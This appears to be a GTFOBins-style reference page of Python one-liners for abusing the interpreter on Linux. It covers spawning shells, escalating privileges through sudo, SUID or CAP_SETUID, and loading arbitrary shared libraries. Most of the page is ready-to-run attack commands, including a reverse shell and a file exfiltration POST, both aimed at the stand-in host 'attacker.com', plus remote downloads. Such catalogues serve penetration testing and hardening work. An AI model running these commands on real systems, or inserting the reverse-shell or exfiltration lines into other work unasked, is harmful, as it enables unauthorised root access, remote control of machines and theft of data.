This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
python -c 'import os; os.execl("/bin/sh", "sh")'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
python -c 'import os; os.execl("/bin/sh", "sh")'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.
The following capabilities are needed:
CAP_SETUID.
python -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'
This executable can send back a reverse system shell to a listening attacker.
This function can be performed by any unprivileged user.
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect(("attacker.com",12345))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect(("attacker.com",12345))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect(("attacker.com",12345))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'
This executable can write data to local files.
This function can be performed by any unprivileged user.
python -c 'open("/path/to/output-file","w+").write("DATA")'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
python -c 'open("/path/to/output-file","w+").write("DATA")'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
python -c 'open("/path/to/output-file","w+").write("DATA")'
This executable can read data from local files.
This function can be performed by any unprivileged user.
python -c 'print(open("/path/to/input-file").read())'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
python -c 'print(open("/path/to/input-file").read())'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
python -c 'print(open("/path/to/input-file").read())'
This executable can upload local data.
This function can be performed by any unprivileged user.
python -c 'import sys
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen("http://attacker.com", open("/path/to/input-file", "rb").read())'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
python -c 'import sys
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen("http://attacker.com", open("/path/to/input-file", "rb").read())'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
python -c 'import sys
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen("http://attacker.com", open("/path/to/input-file", "rb").read())'
This function can be performed by any unprivileged user.
python -c 'import sys
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", 12345), s.SimpleHTTPRequestHandler).serve_forever()'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
python -c 'import sys
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", 12345), s.SimpleHTTPRequestHandler).serve_forever()'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
python -c 'import sys
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", 12345), s.SimpleHTTPRequestHandler).serve_forever()'
This executable can download remote data.
This function can be performed by any unprivileged user.
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve("http://attacker.com/path/to/input-file", "/path/to/output-file")'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve("http://attacker.com/path/to/input-file", "/path/to/output-file")'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve("http://attacker.com/path/to/input-file", "/path/to/output-file")'
This executable can load shared libraries that may be used to run arbitrary code in the same execution context.
This function can be performed by any unprivileged user.
python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")'
This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.
The following capabilities are needed:
CAP_SETUID.
python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")'